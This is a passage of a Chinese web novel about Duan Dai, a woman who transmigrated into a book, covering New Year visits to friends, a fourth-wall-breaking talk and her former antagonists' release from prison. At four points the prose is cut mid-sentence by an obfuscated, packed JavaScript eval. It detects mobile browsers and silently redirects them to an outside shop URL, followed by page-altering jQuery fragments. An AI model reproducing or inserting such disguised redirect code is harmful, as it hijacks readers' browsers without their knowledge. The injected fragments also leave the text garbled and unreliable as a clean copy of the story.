段黛恍惚了一瞬。她说的父母不是段光耀和赵玉兰,而是在穿书之前,她真正的亲生父母。 与段光耀和赵玉兰伪装出来的爱不同,段黛真正的父母其实是爱她的,这一点段黛可笑地心知肚明。 她的父母会为了让她吃饺子不咬到姜丝而把姜磨成泥,在没有研磨器和料理机的时候就用菜刀把它一点一点地切成末。 当然也会在她吃饺子的时候念叨:“我们活着就是为了你,你可一定要好好学习报答我们,对得起这些年我们花在你身上的钱和精力。段黛,因为我们爱你,所以你必须……” 只不过父母的爱是别扭的,带有一点表演性质的,甚至是控制性的。正因为他们爱自己,所以才能捅出最让她痛不欲生的一刀。 她厌恶听他们喋喋不休的说着他们自我感动的亲情,更不想被他们用亲情要挟着做她不喜欢的选择。 后来段黛渐渐掌握了和父母友好相处的办法,那就是配合他们的表演。 他们扮演好父母,她扮演好孩子。她察言观色,根据父母的表现推测出自己该有的反应,然后做出如他们所料的回应,看着他们满意的表情。 只要回到家,剧本就开始了。当她离开家之后,演戏时的台词就都不算话。 考上大学之后她终于摆脱了24小时演戏的生活,工作之后她一年只需要演那么几天。 但渐渐的她发现自己演戏的时长并没有缩短,只是慢慢渗透到她的日常生活里罢了。 第一次见到段光耀和赵玉兰时,段黛以为自己终于见到了可以不需要勾心斗角直接表达的亲情,结果才发现这都是诈骗。 段黛不由得轻声叹息。难怪说经济基础决定上层建筑,果然世间一切感情都不过是利益交换罢了。等价交换便能持久,长期失衡必定破裂。 仅此而已。 “我猜共|产主义社会是没有父母和子女的这种关系的。” 段黛突兀的开口,让黎尚轩有点摸不着头脑:“啊?” “人人平等嘛。原生家庭都不一样,就算财富完全平均分配,那每对父母的性格也不一样,从小生长环境都不同,谈什么平等?”段黛顿了一下,忽的又笑了,“没事,突发奇想而已。” “倒是也有道理,”黎尚轩却笑了,“虽然现在我们无法描绘共|产主义社会的细节,但是还是可以有一些伟大畅想的。” 两人不知道为何就开始聊起了父母。黎尚轩搬出了面案在上面揉面,段黛不停搅拌着盆里的饺子馅儿让它上劲。 “我父母对我是放养的,现在退休了就更找不到人了……他们说趁着身子还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132554|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不错多出去走走,一年到头也回不来几次……” “挺好的,”段黛评价,“父母有自己的生活,挺好的。” 她的胳膊不停,馅料混合发出粘腻的声音。她徐徐开口:“我父母总说,他们活到现在都是为了我,同时也说,我活着不是为了我自己,而是为了他们。挺搞笑的,平等地道德绑架每一个人吗算是。” 黎尚轩将面团搓圆揉扁:“不过现在你做到为自己活着了。” 段黛笑着点了点头:“是啊。” 猪肉白菜馅儿在段黛的手下渐渐成型,黎尚轩也拿出了擀面杖。他把面团搓成长条后揪成一个个的小剂子,忽然道:“你说的父母,不是你现在的父母吧?” “……” 搅拌肉馅时发出的那种粘腻的声音消失了。 段黛抬起头来,意味不明地看着他。 黎尚轩笑了笑:“我听到最多的评价就是,‘段黛怎么变成现在这样了’。于是我也稍微了解了一下你过去的事情,发现确实是……大相径庭。而且我莫名觉得,你现在的家庭环境,和你的性格并不匹配。” “所以我猜,你可能……是从另一个世界来到这里的。” 段黛笑了。 用虚伪的爱来哄骗女儿的父母养出了虐文女主,讲究付出与回报的父母养出了没有同理心的段黛。 她道:“你很敏锐。” 邓辞很快就发现她换了个芯子是因为见过从前的段黛,而黎尚轩作为她穿来之后才认识的人,居然也慢慢察觉到了。段黛并不觉得恐慌,反而有种欣赏的感觉。 她喜欢和聪明人一起交往,而黎尚轩显然是个聪明人。 黎尚轩揪面团的动作非常娴熟,如果不是面案上那些大小迥异的面剂子,恐怕真的会让人误以为他对此得心应手。 段黛一抬眼看到面案上的惨状,到底还是没忍住拿起了菜刀:“揪不好也别勉强,用刀切吧。” 黎尚轩乖乖地把乱七八糟的面剂子重新揉了回去,然后再次搓成长条。段黛手起刀落,面团被切割成了一段段小块,看起来像是什么年轮蛋糕的微缩模型。 黎尚轩把面块一个个搓圆撒上粉:“看起来好怪。” 段黛:“好用就行了,反正擀成皮之后包起来都是一样的,没有必要追求面剂子什么样饺子皮圆不圆。” 黎尚轩:“好哦。” 按扁了几个面块之后,黎尚轩捞起一点面粉在擀面杖上搓了搓,接着擀起了饺子皮。扁扁的面剂子被旋转擀开,渐渐变成了一张薄薄的皮。 他突然出声:“段黛,你原来的名字是什么?” 段黛:“我就叫段黛,和她一样。” 黎尚轩点了点头:“这样啊。段黛,我没见过之前的她,我只认识现在的你,也只喜欢现在的你。” 段黛微微一怔。 这种直接的赤城是她最招架不住的类型。片刻后她微微扬起了嘴角,露出了一个放松而释然的笑容。 “好。” 90. 过年包饺砸 两人一个擀皮一个包饺子,等到皮都擀出来了就两人一起包。没多久饺子就都包好了,段黛在盒子里放了一半,送到冰箱里冷冻。另一半盖上屉布放在一边,等着晚上吃饭的时候再煮。 包完饺子,接下来就是做菜了。黎尚轩做鱼段黛炸肉,厨房里所有的锅齐齐开始工作。黎尚轩看着鱼肉炖上之后,转头去处理剩下的白菜。 他忍不住感慨:“你果然有先见之明,厨房大真的很爽,咱们两个人忙也不打架。” 段黛:“我真的收够了摆不开锅的痛苦。” 黎尚轩家的面积没有段黛这里大,厨房相对来说也会小一些。平时如果段黛只是蹭饭的话才会去黎尚轩那里。如果需要两人一起忙活,那还是在段黛这里更能施展得开。 晚上六点,所有菜都上了桌。段黛和黎尚轩两人的年夜饭一如既往的中西合璧。段黛拍照在V博营业了一下,接着就拿起了筷子:“开吃开吃!” 黎尚轩做了酸菜鱼、醋溜白菜和芝士烤排骨,段黛做了红烧肉、炸里脊和凉拌虾仁。饺子也煮好了,刚好两盘,一人一份。 葡萄汁倒在两个杯子里,玻璃杯轻轻相碰:“除夕快乐。” 从前段黛会买速冻水饺回来自己煮着吃,她买的最多的就是猪肉白菜馅儿的。虽然速冻水饺煮熟后吃起来有种很廉价的油脂香,但段黛就是非常喜欢那种廉价的味道。 这还是她第一次自己在家包饺子。 事实上自己包的饺子还是很香的,比速冻水饺要香很多。许是白菜会下汤的缘故,一口咬下去流了不少汤。黎尚轩咽下一个饺子后道:“幸好咱们调好馅儿之后立刻就包了,汤都被包在饺子皮里了。” 段黛:“也幸好咱们煮的快,我掀开屉布的时候发现本来都立着的饺子全变得软趴趴的了。” 黎尚轩:“很好,我们在没用的地方达成了默契。” 段黛忍俊不禁。 窗外有烟花升空,鞭炮的声音此起彼伏。段黛没有拉客厅的窗帘,玻璃上还有黎尚轩贴上的窗花。 吃过红烧肉之后她夹了一块醋溜白菜。白菜吸满了汤汁,酸酸甜甜的,解腻又好吃。 黎尚轩吃着炸里脊:“以前家里会炸一堆年货,什么肉条丸子都有,我就特别喜欢吃炸里脊,我妈炸完之后我能悄悄塞好几块。” 段黛评价:“炸里脊很有过年的气氛,所以我做了。” 没有糖醋,没有做别的什么,就是纯粹的炸里脊,可以用手拿着一块一块吃的那种。 黎尚轩笑了起来:“对,单纯的炸里脊要比糖醋里脊更有过年的感觉。” 饭后两人坐在沙发上,用投影看了一会儿春晚。事实证明,不管是哪个世界的春晚都很无聊,段黛打了个哈欠,通过春晚大致了解了一下现在娱乐圈都有哪些明星。 第二天早上,吃过饺子后,段黛和黎尚轩出门去给留在临安的朋友们拜年。 身为责编,关月兰经常来段黛家,但段黛此前从未去过关月兰的家。她上门的时候,关月兰的父母正在进行催婚大法。听到门铃响起的时候关月兰如释重负,拉着段黛进了门,然后在看到后面跟着的黎尚轩有点目瞪口呆。 虽然她知道段黛会带男朋友出来一起拜年,但是到底她是第一次见黎尚轩,所以还是有些惊住了。 黎尚轩礼貌点头:“关姐过年好。” “啊……你好你好……” 关月兰收回了心神,拉着段黛对父母道:“爸,妈,这就是我们社的金字招牌——段黛老师。” 段黛露出了乖巧的笑容:“叔叔阿姨过年好。” “哎呀段黛老师你好你好……这位是段黛老师的男朋友?你好你好……” 黎尚轩的存在成功打住了关父关母顺便催婚段黛的可能性,不过聊了几句之后少不了还是把话题扯了过来,顺便点着关月兰的脑袋催婚。关月兰给他们拿了沙糖桔,于是段黛和黎尚轩两人就老老实实地坐在沙发上剥沙糖桔吃,时不时附和一下关父关母的话。 等两人起身准备走的时候,手指都已经发黄了。 关月兰送他们出门,走出来时顺便拿了个湿巾塞给段黛:“擦擦手,看你吃的都黄了。” 段黛:“好哦。” 关月兰看了一眼黎尚轩,低声对段黛道:“我爸妈说的也不用管,他们老一辈人就是觉得必须要结婚。你按自己的想法来就好,愿意结就结,不愿意结谈谈恋爱也挺好的。” 段黛挽起了嘴角,露出了真心实意的笑容:“好。” 裴斯羽在家睡大觉,她的父母预计中午会到临安,所以她并没有起的特别早。直到上午十点,她想着段黛可能会先到,并且父母那边好像也不远了,于是爬起来洗漱后换了身衣服。 在她收拾妥当后不久,段黛就到了。 开门之后她看到门外的两个人:“过年好过年好……这位就是那个黎尚轩吧?” 之前为着热搜的事情,三人在群里没少说话,裴斯羽姑且也算是认识黎尚轩了。但是她和黎尚轩的交流仅限于网络,现在还是第一次见到真人。 黎尚轩微笑:“前段时间真是麻烦你了。” “我是为了帮段黛……” 裴斯羽很实诚地拿了两罐可乐出来分给他们,段黛婉言谢绝:“我们喝水就好了。” “网上应该是没什么了……那两个人现在怎么样了?” 段黛道:“最近没怎么关心,好像是在坐牢的边缘疯狂试探吧。” 她抬眸看着还在打哈欠的裴斯羽:“幸亏有你啊,不然我都不知道该怎么办了。” 裴斯羽看着好像永远只会板着脸或是带着标准微笑的段黛,莫名有种怪异的感觉。她产生了一个奇怪的想法,就算没有她在,段黛好像也不至于……不知道该怎么办吧? 段黛对待朋友,特别是帮了大忙的朋友总是很大方的。在了解到裴斯羽眼馋某奢侈品包包很久但又舍不得肉痛之后,段黛大手一挥直接包好了送到裴斯羽家来。裴斯羽看着自己挂在一边每天抚摸八百遍的包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149331|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包,又把方才那点想法按了回去。 看来段黛是真的觉得自己帮了大忙的。 她可以继续心安理得地为段黛赴汤蹈火了。 三人聊了聊之前的事情,又说了说对新年的畅想。不知不觉间就过去了一个多小时,裴斯羽的手机响了起来。 她看了一眼屏幕:“我爸妈到了!” 段黛顺势起身:“那我们也先走了。叔叔阿姨来了如果有需要帮忙的随时找我。” 裴斯羽比了个“OK”的手势。 回到车上后,段黛看到窗外有雪花飘落。 这些是她为自己挑选的家人。 “要去看那个……是叫鹿颖吧,要去她那里吗?”黎尚轩问。 段黛点了点头:“走吧。” 给鹿颖拜年去的不是她家,而是那家她们合资开的奶茶店。大年初一奶茶店依旧营业,店员是在家闲得发慌所以出门兼职的实习生。鹿颖看到段黛很兴奋:“上次咱们见面已经是去年的事了!” 段黛:“……倒也不能完全说是去年。” 鹿颖刚要表演一个满地乱爬,接着就看到后面跟上来的黎尚轩。她呆了一下,默默缩回了自己即将乱飞的四肢。 段黛回头看了黎尚轩一眼,确定人走到身边后道:“这就是我现在的男朋友,黎尚轩。” 鹿颖点头:“你好你好。” 黎尚轩礼貌道:“鹿小姐过年好。” 三人在店里的一张桌子前坐下,店员端上了三杯奶茶。鹿颖把吸管递给段黛和黎尚轩:“新年的第一杯奶茶!” 杯子是热的,段黛双手捂住了杯子,让自己冰凉的手渐渐暖和起来。鹿颖小心翼翼地观察着黎尚轩,犹犹豫豫地不敢开口。 段黛于是笑了:“你说的想看看真人的,现在社恐了?” “哎也不是……”鹿颖把吸管扎进杯子,“怎么说呢,有种闺女终于长大了的老母亲欣慰感。” 黎尚轩喝了一口奶茶:“是没喝过的味道,新品吗?” 鹿颖:“对,放假前我研发出来的,好喝吗?” 段黛和黎尚轩齐齐点头,鹿颖比大拇指:“不错,有眼光。” 为了不让尴尬继续蔓延,鹿颖也聊起了之前网上的事情。她问段黛:“你的生活有没有被影响啊,虽然已经过去了,但是还是有不少人已经知道你住哪个小区了……” 段黛叹息:“我还好,毕竟我很少出门。不过好像我们那个小区的房价涨了?” 黎尚轩道:“是的。据说很多人都想和段黛成为邻居,于是纷纷选择在这里买房,一来二去房价居然涨了。” 鹿颖哭笑不得:“这算好事还是坏事?” 段黛:“对我没有影响,毕竟我不打算卖房。” 段黛见鹿颖眼神闪烁,猜到她似乎是有什么话想要单独和自己说的。于是她对黎尚轩道:“后面商场地下一层有小吃街,你去帮我买两份烤冷面,要大份的。” 黎尚轩应了一声,起身出了门。 91. 打破第四面墙这件事毫无意义^^…… 鹿颖的眼睛一直盯着黎尚轩,直到他消失在拐角处,这才开口:“陈方烨和邓辞,大概率是要进去了。” 段黛不明所以:“嗯,倒也有可能。” 鹿颖转过头来看着她:“白眼狼哥哥段墨进去了,现在渣男前男友和背刺你的发小也要进去了。段黛,所有对不起你的人,或者说对不起名为‘段黛’这个角色的人,终于要迎来最终结局了。” 段黛:“……嗯,是这样。” 鹿颖:“你不觉得这很戏剧性吗?我刚回来的时候还觉得这三个人不够惨,特别是段墨,他竟然还能开美术馆。而陈方烨虽然没了公司,但也到了另一家大公司从中层做起……邓辞我不太清楚,不过既然他还没负债,那应该就是没有太大影响。我那是觉得他们真的不够惨,这不是他们的结局。” “但是现在他们陆陆续续地锒铛入狱,我忽然有种‘噢,原来这才是他们的结局’的感觉。” 段黛有些莫名其妙:“嗯,确实是。” 鹿颖:“你不觉得这不对劲吗?” 段黛坐直了身体:“你想说?” 鹿颖抬头看着玻璃外的天空:“这个世界是有意识的,冥冥之中推动着一切。” 段黛:“……” 鹿颖再次看向她:“你不觉得吗?这个世界完全是假的,我们其实也是假的,我们做的一切也都是假的。” 段黛无语了。 鹿颖观察着她的表情:“怎么了?” 段黛的脸绷了一会儿,才道:“没事。” 鹿颖继续征求她的意见:“你觉得呢?” 段黛:“……” 在鹿颖的追问下,段黛无奈道:“你这么说倒也不是没有道理,毕竟我们这个世界就是一本书,而我是穿书来的。” 鹿颖一脸期待:“是吧?所以这个世界完全就是假的,我们做的这些都没有意义,他们最终都会走向既定的结局……” 段黛叹了口气:“既定的结局,那就是我被分尸,他们三个虽然悔过,但依旧平安的度过了一生。” “……也是噢,”鹿颖歪了一下头,“那这么看我们的努力也是有用的?” 段黛的嘴角抽了抽:“当然有用,如果不是我出手,他们不会破产,依旧逍遥法外,也不会被逮捕入狱。你所说的既定的结局,是我为他们提前做好的标记。” 鹿颖呆住了。片刻后讪讪道:“啊……是这样吗……” 段黛白了她一眼:“所以你把黎尚轩支开,就是想和我说这件事?” 鹿颖挠了挠头:“我感觉我们是同类,我是重生的而你是穿书的……我越想越觉得这个世界很不真实,我感觉自己的人生都没有什么意义。我每天看着太阳东升西落,猜想这是不是提前设定好的程序……你有没有这种感觉?” 段黛诚实道:“没有。” “……” 鹿颖诧异:“你没有这种感觉?” 段黛叹了口气:“你说这些话的意义是什么,你找到了打破第四面墙的办法,能够从现在的书中世界离开,去真实世界?” 鹿颖摇了摇头:“这个倒是没有……” 段黛:“你发现如果不遵守什么规定,这个世界就会崩塌,让你重新循环?” 鹿颖:“……也没有。” 段黛:“那既然你也没找到解决办法,也没有发现新的危机,你纠结这些干什么?” 鹿颖呆住了:“……啊?” 段黛摩挲着奶茶杯的杯盖:“还是说你想让我和你一起找离开这个世界的办法?” “那倒没有,”鹿颖连连摆手,“我没有要离开这个世界的意思……而且我到其他世界岂不是成黑户了,这肯定不行……” 段黛强忍住在朋友面前翻白眼的冲|动:“也就是说,你是安于现状的。” “……是。” 段黛白了她一眼:“那你说的这些就没有意义。这虽然是书中世界,但遵循物理定律,法律和警察也都正常工作,我们的付出也有回报,所在的中国依然强大。没有系统在脑子里说话,没有什么攻略不了就会死的任务,没看到主角有什么光环和金手指。这已经是我们能生活的最好的环境了,即便有更真实的现实世界,我们也找不到离开的办法,更何况你还是安于现状的。既然如此,纠结这个世界假不假有什么意义?给一个不能解决也没必要解决的问题刷存在感是为了什么?为了让自己精神内耗吗?” 鹿颖呆呆地看着段黛,哑口无言。 半晌,她才艰难开口:“如果现在也有人在看我们这本书……如果……唉。那你觉得,打破第四面墙这件事……是怎样的?” 段黛:“毫无意义。” “……” 段黛抱着手臂靠在椅子背上:“书里或者电影里的角色脱离可固定的媒介来到现实世界,听起来挺有意思的,但也仅仅局限于有意思而已。说到底文艺作品都是拿来娱乐或者教育人的,能够搏人一笑就是它的唯一用处。有些作者夹带私货,故意让很恶心的人成了主角,配角们奋起反抗并逼问作者,这件事确实很有意思,但它的意义不在于什么小人物摆脱命运,而在于教育读者——不要以为靠歪门邪道就能无法无天,德不配位的主角也是会被制裁的。” “至于那些质问作者为什么要把自己的先天条件写的这么惨的,拜托如果所有角色都和和美美的那还看什么小说?作者想写一个因为意外而残疾的主角努力活出精彩人生的故事,主角出来质问作者为什么要把自己写成残疾……这就属于没事找事,明明知道纸片人根本没有生命还替他们伤春悲秋,然后把罪魁祸首指认成作者而不是另一位纸片人,真的挺无语的。” “说到底,打破第四面墙也只是情节设置罢了。角色以为自己打破了第四面墙,实际上墙外还有另一座墙,更真实的观众看着墙里的角色和所谓的‘观众’吵架,而其实他们所有人都是演员。楚门从楚门的世界里逃离出来后没有来到现实,只是从二重虚构脱出来到了一重虚构。” 段黛看着鹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157397|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颖,淡淡道:“我知道我是穿书的,也知道这里是书中世界。既然现在还没有什么能影响我的生活,那么我即真实。如果真的还有人在看这本书,既然他们没有发出让我看到弹幕还是其他会影响到我工作生活的东西,那么我身为一个他们眼中的纸片人,应该做的是发挥好自己的所有水平,让他们知道什么才是实至名归的主角。” 说罢,段黛扭过头来,没有看窗外,没有看天空,没有看正在摇奶茶的大学生,而是看向了……你。 此刻正拿着手机,或是抱着平板,也有可能是坐在电脑前,不知是以什么样的状态在这里看小说的,你。 她看着你,一字一顿说:“我会一直,做好自己的事情,仅此而已。” 鹿颖神情呆滞。 段黛:“还有什么问题吗?” 鹿颖:“……没有了。” 段黛拍了拍她的肩膀。恰好这时黎尚轩也回来了,带了两盒烤冷面。他推门而入,在段黛身边坐下:“外面雪停了。” 段黛像是刚才什么都没发生一样,笑着从袋子里拿出两个盒子。她将其中一个盒子递给鹿颖:“我记得你之前说喜欢那家烤冷面里加烤肠不加里脊,喏,我叫阿轩买回来了。” 鹿颖回过神来,打开了塑料盖子:“你记得还真清楚哎……” 段黛也打开盒子,拿起签子叉起一块递到黎尚轩嘴边,温和道:“那家烤冷面挺好吃的,尝尝。” 黎尚轩顺从地张开了嘴,把那一块卷了烤肠的饼皮吃了下去。 鹿颖看着对面恩爱的两人,一瞬间有种头皮发麻的感觉。喜欢观察一切的她在见到段黛之初就发现了她看似随和实际上冷漠理智的特点,所有人都以为自己已经成了她的朋友,但完全没有触及她防护线以内的地方。她其实很难想象这样的段黛坠入爱河会是什么样子,然而现在的他们…… 看起来与众多恩爱的情侣并无差别。 而且这个黎尚轩未免也太识趣了,她们刚聊完他就回来了,简直就像把控好了一切一样。 鹿颖看着对面的两人,段黛的眼中的笑意之下仍然是她看不透的深意,而黎尚轩眉眼弯弯,眼底却与段黛有着相似的颜色,甚至还多了几分狡黠。 她倒吸一口冷气,不自觉地发出感慨:“你们还真是……天造地设的一对啊。” 段黛莞尔:“借你吉言。” 年假很快过去,临译社全线复工。关月兰对邮箱里的新稿子见怪不怪,甚至可以用“我就知道她早写完了”来和其他部门的人打赌。 然后在元宵节之后,段黛收到了陈方烨和邓辞的消息。 这两人垂死挣扎之后再动弹不得,终于如意料之中那般吃上了国家饭。陈方烨不知怎么辩护的从谋杀变成了过失杀人,好歹只需要吃五年牢饭。邓辞漏税的数额虽然超出了他补偿的范围,但到底也没有很大,所以只判了三年。 听到这两人的结局,段黛轻轻呼出一口气。 她和虐文有关的一切,终于是结束了啊。 92. 优秀青年译者 段黛坐在自己日常写作的办公桌前,面对着对面的镜头推了推鼻梁上的眼镜:“我很荣幸获得优秀青年译者……” 她的面前站了五六个负责拍摄的人,有人拍照有人摄影,还有人举着收音麦,也有人在调试画面。 关月兰坐在沙发另一侧慢慢喝着茶,林若愚抱着手臂站在她的身后:“这次是优秀青年译者,以后段老师说不定能获得终身成就奖呢。” 关月兰笑了笑:“终身成就奖都是颁给奋斗了大半辈子的人的,段黛现在才多大。等我退休之后说不定能看到。” 转眼间过去了五年,段黛始终保持着一年5到10本的工作量,源源不断地向国内读者输送着作品。她的翻译水平愈发精湛,各种大大小小国内国外的奖拿到手软,名气比从前更盛,在翻译界甚至整个文学界都是如雷贯耳的存在。 曾经的助理编辑林若愚在毕业之后正式入职临译社,前段时间也获得了中级出版资格。她现在也有了自己负责的作者,但偶尔也会陪着曾经的老师关月兰一起处理诸如采访和节目之类的事情。 一旁的工作人员问段黛:“请问段黛老师有什么要对翻译新人说的话吗?” 段黛看着镜头:“熟能生巧,先翻译出来了再说。” 获奖视频拍摄完成,一众人纷纷道谢后离开。段黛伸了个懒腰,推开椅子站了起来:“总算结束了。” 关月兰看着对面书架上塞满的各种奖杯奖状,笑道:“这可是国内相当有含金量的一个翻译奖了。” 段黛呼出一口气,拿到这个奖项本就在她的预料之内,不过没想到能这么快就拿到就是了。 几天后段黛去看了鹿颖。鹿颖如今在Season也坐到了高管的位置。两年前她结婚了,丈夫是某大厂的程序员。段黛当时只问了一句“帅吗”,看到照片确定没发生什么美女配河童的事件之后就点头了。 鹿颖倒是没因为结婚了就和朋友断了往来,只是有时候她吐槽自己的婚后生活还是听的段黛脑袋疼。 前段时间她刚生了孩子,最近应该是要出月子了。 段黛开车来了月子中心,小孩的哭声吵得她头大。她来到鹿颖这里,看到人容光焕发的也就放心了:“幸好你没带孩子进来,不然我更不敢来了。” 鹿颖刚生完孩子的时候面貌相当吓人,让平时表情不大的段黛都面目扭曲了起来。那时鹿颖拉着段黛的手感慨:“我总算是明白为什么这么多女生坚决不生孩子了……” 段黛:“哈哈,好好休息。” 现在鹿颖看上去总算有点白月光的雏形了。她活动了一下四肢:“孩子叫我老公学着带,我都遭一年罪了,接下来可不归我管了。” 段黛点了点头,默默评价鹿颖结的这个婚还凑合。她想了想自己最近搜到的应该如何关心产妇的帖子,道:“你没产后抑郁什么的吧?” 鹿颖一脸骄傲:“实不相瞒,我每天看我的账户余额一眼就什么抑郁都没有了。” 她们曾经合开的奶茶店在大学城建成之后相当火爆,鹿颖之后又独资在学校附近开了几家奶茶店,一方面分摊第一家店的压力,另一方面也算是占领的市场。几家奶茶店让她的钱包充盈,可以豪气地说“我就是富婆”。 段黛松了一口气:“行,看到钱知道高兴,人没傻。” 鹿颖:“……你不会要说一孕傻三年吧?” 段黛默默点头。 鹿颖笑了一会儿,又道:“你入股的那个网文公司现在好像也很厉害啊?” 凤姿龙章在这五年间愈发壮大,业务遍布全球,持股的段黛自然也获得了成倍增长的利润。 段黛点了点头:“我都没想到能有这么多钱。” 鹿颖伸了个懒腰:“那就好!幸亏林深没了,不然咱们什么时候能当上富婆……” 再次听到“林深”这个词,段黛只觉得有些陌生。她几乎要忘记这家消失了能有五年多的奶茶品牌。她听到鹿颖开口:“说到林深……陈方烨是不是快要出来了?” 段黛“啊”了一声。 太久没关注了,这几个蹲局子的人好像也要出来了啊? 邓辞应该两年前就出狱了,不过段黛没关注过他,他也没主动来找段黛,似乎就那么消失在了她的人生之中。段墨和陈方烨倒是关的时间差不多,可能也是这段时间放出来? 从鹿颖那出来时,段黛收到了赵玉兰的消息:【你哥哥快出来了,你能去接他吗?】 这些年段黛和段光耀赵玉兰这对便宜父母还是有联系的,虽然再没见过面,但逢年过节还是会发个消息意思一下,维持着他们亲情尚未崩塌的体面。段黛并不介意演演戏,反正发几条消息也不会耽误她什么。 看到赵玉兰的消息,她微微蹙眉。 赵玉兰提这个要求倒也不是强人所难。段墨是在临安被逮捕的,现在也关在临安这里。赵玉兰和段光耀两人在几百公里之外的老家,确实不太容易接儿子出狱。当然他们也存在着缓和关系的想法,所以来问问段黛愿不愿意帮忙。 段黛没说话。 晚上她去了黎尚轩那里蹭饭。黎尚轩已经把饭做好了,正坐在沙发上看段黛获奖的采访视频。见人来了之后他按了暂停:“恭喜优秀青年译者段黛老师!” 段黛忍俊不禁:“前几天已经恭喜过了。” 黎尚轩:“但是今天正式播出,所以再恭喜一次。” 段黛莞尔。 吃饭时她说了段墨快要出狱的事,黎尚轩问她:“那你想去接吗?” 段黛坦诚道:“我挺想去看乐子的,但是我又怕他没憋什么好屁,看见我之后要捅死我。” 很多狗血小说里都这么写的,什么“我好心接他回家,他却一刀捅死了我,说凭什么你能活的这么好”,然后接下来就是“我重生了,重生在了……” 虽说狗血小说写的离谱,但段黛也不想犯蠢。她走到现在实属不易,可不想重生一次,也不敢赌自己到底有没有命重生。 黎尚轩哭笑不得:“也是,防人之心不可无啊。” 正在两人商讨应该如何兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172891|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾看笑话并避免报复的时候,段黛又收到了赵玉兰的消息:【不用去接了,段墨说有人接。】 段黛歪头:“哦?” 陈方烨和段墨是同一天出狱的。两人走出大门,看着头顶刺眼的太阳同步眯起了眼睛。看着对方和自己一样的寸头,两人莫名笑了起来。 原来人无语到极致的时候真的会笑。 来接他们的竟然是邓辞。邓辞比他们早出来两年,头上已经有些头发了。看到两人一前一后的出来,他拿着一把枝条在两人身上扫了扫:“上车前先去去晦气。” 陈方烨和段墨两人老老实实的被扫了一遍,接着才上了车。 载着坐牢三人组的车驶入了马路,段墨看着外面的景色,好半天也只能叹了口气。邓辞开着车,絮絮叨叨地说着:“段黛前些日子获了个很厉害的奖……” 陈方烨打断了他的话:“监狱里有电视,这我们知道。” 邓辞:“……” 段墨扭头:“你和黛黛……段黛还有联系?” 邓辞苦笑:“没,我哪好意思联系她……” “……” 车上一阵沉默。 陈方烨忽然道:“你们知道段黛住在哪吗?” 邓辞忍不住道:“你干什么,又要来堵段黛家门口那一套?” “……不是,”陈方烨垂下脑袋,“我只是……想向她道歉。” “……” 段墨的嘴角抽了抽:“道什么歉?” 陈方烨:“我之前和她谈恋爱的时候,对她……对她很不好,伤害了她。” “快别了,”邓辞翻了个白眼,“你要是因为造谣想向她道歉也就算了,为那么久之前的事道歉……没必要,和她道歉也没用。” 段墨一下子坐直了身子,从后视镜试探性地看向了邓辞:“这么说莫非你也知道……” 邓辞对上了他的视线,缓缓点头。 陈方烨浑然不觉:“为什么没用?” 段墨:“……要说吗?” 邓辞:“……段黛壳子里换人了,你没意识到吗?” 陈方烨愣了一下:“啊?什么意思?” 邓辞和段墨两人七嘴八舌的把事情说了一下。邓辞是直接看出来的,段墨则是入狱后被段黛亲自告知的。两个人这么一说,陈方烨傻了。他先是说着这怎么可能,而后又喃喃自语:“难怪她突然就像变了个人一样……” 邓辞“啧”了一声:“亏你那会儿还是她男朋友呢,自己女朋友什么样都不清楚。现在的段黛根本不吃你亏,你找她忏悔有个屁用?” 段墨:“你居然还是自己发现的,要不是段黛主动跟我说我都没往这想……” 陈方烨透过后视镜瞪着邓辞:“你是自己看出来的。” 又扭头看着身边的段墨:“你……你是段黛亲自告诉的。” 两人齐齐点头。 他胸口连连起伏:“而我……” 而他既没有察觉到段黛的异常,也没有被亲自告知,至今被蒙在鼓里。 93. 丧家犬 “她为什么不告诉我!为什么她没来看我!”陈方烨原地抓狂,不能接受自己是唯一一个傻子,“怎么只有我什么都不知道!” 段墨白了他一眼:“我是她亲哥,她也就只来看了那一次。你算什么?” 陈方烨颓然地倒在车后座上:“是啊,我算什么……” 